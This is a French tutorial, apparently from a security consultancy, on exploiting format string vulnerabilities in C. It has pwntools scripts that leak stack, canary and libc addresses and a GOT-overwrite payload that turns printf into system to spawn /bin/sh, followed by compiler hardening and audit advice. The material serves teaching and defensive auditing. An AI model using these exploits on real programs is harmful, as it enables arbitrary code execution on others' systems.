Les vulnérabilités de format string sont un classique de l'exploitation binaire, présentes depuis les années 2000 mais toujours pertinentes en 2026. Une format string vulnerability survient quand une entrée contrôlée par l'attaquant est utilisée comme premier argument d'une fonction de formatage (printf, sprintf, fprintf, syslog) sans spécificateur de format. L'attaquant utilise des spécificateurs comme %x (lecture stack), %s (lecture mémoire arbitraire) et %n (écriture mémoire arbitraire) pour transformer un simple bug de programmation en exécution de code arbitraire. Ce guide technique couvre les mécanismes d'exploitation, les techniques modernes adaptées aux protections actuelles (ASLR, PIE, RELRO, stack canaries), la construction d'exploits avec %n et %hn, et les contre-mesures de compilation. Les développeurs d'exploits et les auditeurs de code trouveront ici une méthodologie complète pour l'exploitation format string en environnement moderne protégé, avec des liens vers les techniques d'exploitation ROP complémentaires.

En bref

  • Mécanisme : printf sans format string = lecture/écriture arbitraire de la mémoire
  • Lecture stack : %x, %p pour leak d'adresses (bypass ASLR, canary leak)
  • Écriture mémoire : %n/%hn pour écrire à des adresses contrôlées (GOT overwrite)
  • Exploitation moderne : format string + ROP chain sur systèmes avec full RELRO et PIE
  • Contre-mesures : -Wformat, -Wformat-security, FORTIFY_SOURCE et audit de code
Format String Vulnerability — Vulnérabilité qui survient quand une entrée utilisateur est passée directement comme format string à une fonction de la famille printf. L'attaquant contrôle les spécificateurs de format (%x, %s, %n) et peut lire la stack, lire la mémoire arbitraire et écrire à des adresses arbitraires.

Mécanisme de Base : printf et la Stack

Les fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :

// CODE VULNÉRABLE
char user_input[256];
fgets(user_input, sizeof(user_input), stdin);
printf(user_input);  // ❌ VULNÉRABLE — l'utilisateur contrôle le format

// CODE CORRIGÉ
printf("%s", user_input);  // ✅ SÉCURISÉ — format string fixe

// Exploitation :
// Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack
// Input: "%s"           → lit une string à l'adresse pointée par le prochain arg stack
// Input: "%n"           → ÉCRIT le nombre de caractères imprimés à l'adresse stack
// Input: "AAAA%7$n"     → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)

Lecture de la Stack : Leak d'Informations

Les spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :

  • Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR
  • Stack canary : leak de la valeur canary pour bypass stack protection
  • Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP
  • PIE base : leak d'adresses du binaire pour bypass PIE
#!/usr/bin/env python3
# Leak automatisé via format string
from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# Itérer les positions de la stack pour trouver des adresses intéressantes
for i in range(1, 30):
    p.sendline(f'%{i}$p'.encode())
    leak = p.recvline().strip()
    print(f"Position {i:2d}: {leak}")
    # Identifier les adresses : stack, libc, PIE, canary
    # Canary: typiquement se termine par 0x00 (null byte)
    # Libc: commence par 0x7f sur x64
    # PIE: correspond à la plage du binaire

Écriture Mémoire : Le Spécificateur %n

Le spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :

# GOT Overwrite via format string (x64, pwntools)
from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

# Cible : écraser l'entrée GOT de printf par l'adresse de system
# printf@GOT sera appelé avec l'argument contrôlé → system(user_input)

got_printf = elf.got['printf']  # Adresse de printf dans la GOT
system_addr = elf.symbols['system']  # Adresse de system (si no-PIE)

# Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux
# %hn écrit les 2 octets inférieurs du compteur de caractères

# Construction du payload avec pwntools fmtstr_payload
payload = fmtstr_payload(
    offset=7,           # Position de notre input sur la stack
    writes={got_printf: system_addr},  # Quoi écrire où
    numbwritten=0,      # Caractères déjà imprimés
    write_size='short'  # Utiliser %hn (2 octets) au lieu de %n (4)
)

p.sendline(payload)
# Au prochain appel printf(user_input) → system(user_input)
p.sendline(b'/bin/sh')
p.interactive()

Exploitation Moderne : Full RELRO et PIE

Sur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :

  1. Étape 1 — Information Leak : utiliser %p pour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et de system/execve.
  2. Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via %n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.).

Format String sur le Heap

Les format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.

Contre-mesures de Compilation

  • -Wformat -Wformat-security : avertissements à la compilation pour les format strings non constantes
  • -Werror=format-security : transforme l'avertissement en erreur (empêche la compilation)
  • -D_FORTIFY_SOURCE=2 : remplace printf par __printf_chk qui détecte les %n dans les format strings writables
  • Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant
  • Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement
💡 Conseil pratique — Pour rechercher les vulnérabilités format string dans du code C/C++, utilisez grep -rn 'printf(\s*[a-z]' src/ pour trouver les appels printf dont le premier argument est une variable. L'outil cppcheck et Coverity détectent automatiquement les format strings non sécurisées. En CTF, pwntools fournit fmtstr_payload() pour générer automatiquement les payloads d'écriture %n.

À retenir

  • printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
  • %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
  • GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
  • Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
  • -Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables

FAQ — Questions Fréquentes

Les format strings sont-elles encore pertinentes en 2026 ?

Oui, les vulnérabilités format string sont toujours trouvées dans les firmwares IoT, les logiciels embarqués, les applications legacy C/C++, et les outils système. Bien que les compilateurs modernes émettent des avertissements, beaucoup de code est compilé sans -Wformat-security. De plus, les format strings sont un exercice fondamental pour comprendre la manipulation de la stack et les primitifs d'exploitation.

Quelle est la différence entre %n et %hn ?

%n écrit un int (4 octets) — le nombre total de caractères imprimés. %hn écrit un short (2 octets) — les 16 bits inférieurs du compteur. %hhn écrit un byte (1 octet). %hn est préféré car écrire 2 octets nécessite de imprimer au maximum 65535 caractères, alors que %n peut nécessiter des milliards de caractères pour écrire une adresse 64-bit.

FORTIFY_SOURCE bloque-t-il toutes les attaques format string ?

FORTIFY_SOURCE (niveau 2) remplace printf par __printf_chk qui détecte les %n dans les format strings writables (non constantes). Il bloque l'écriture mémoire via %n mais ne bloque pas la lecture (%x, %p, %s). Un attaquant peut toujours leak des informations sensibles (ASLR bypass, canary leak) même avec FORTIFY_SOURCE.

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en sécurité applicative et audit de code vous accompagnent dans l'évaluation de votre posture de sécurité.

Contactez-nous
Article recommandé : Covert Channels Réseau : Stéganographie et Exfiltration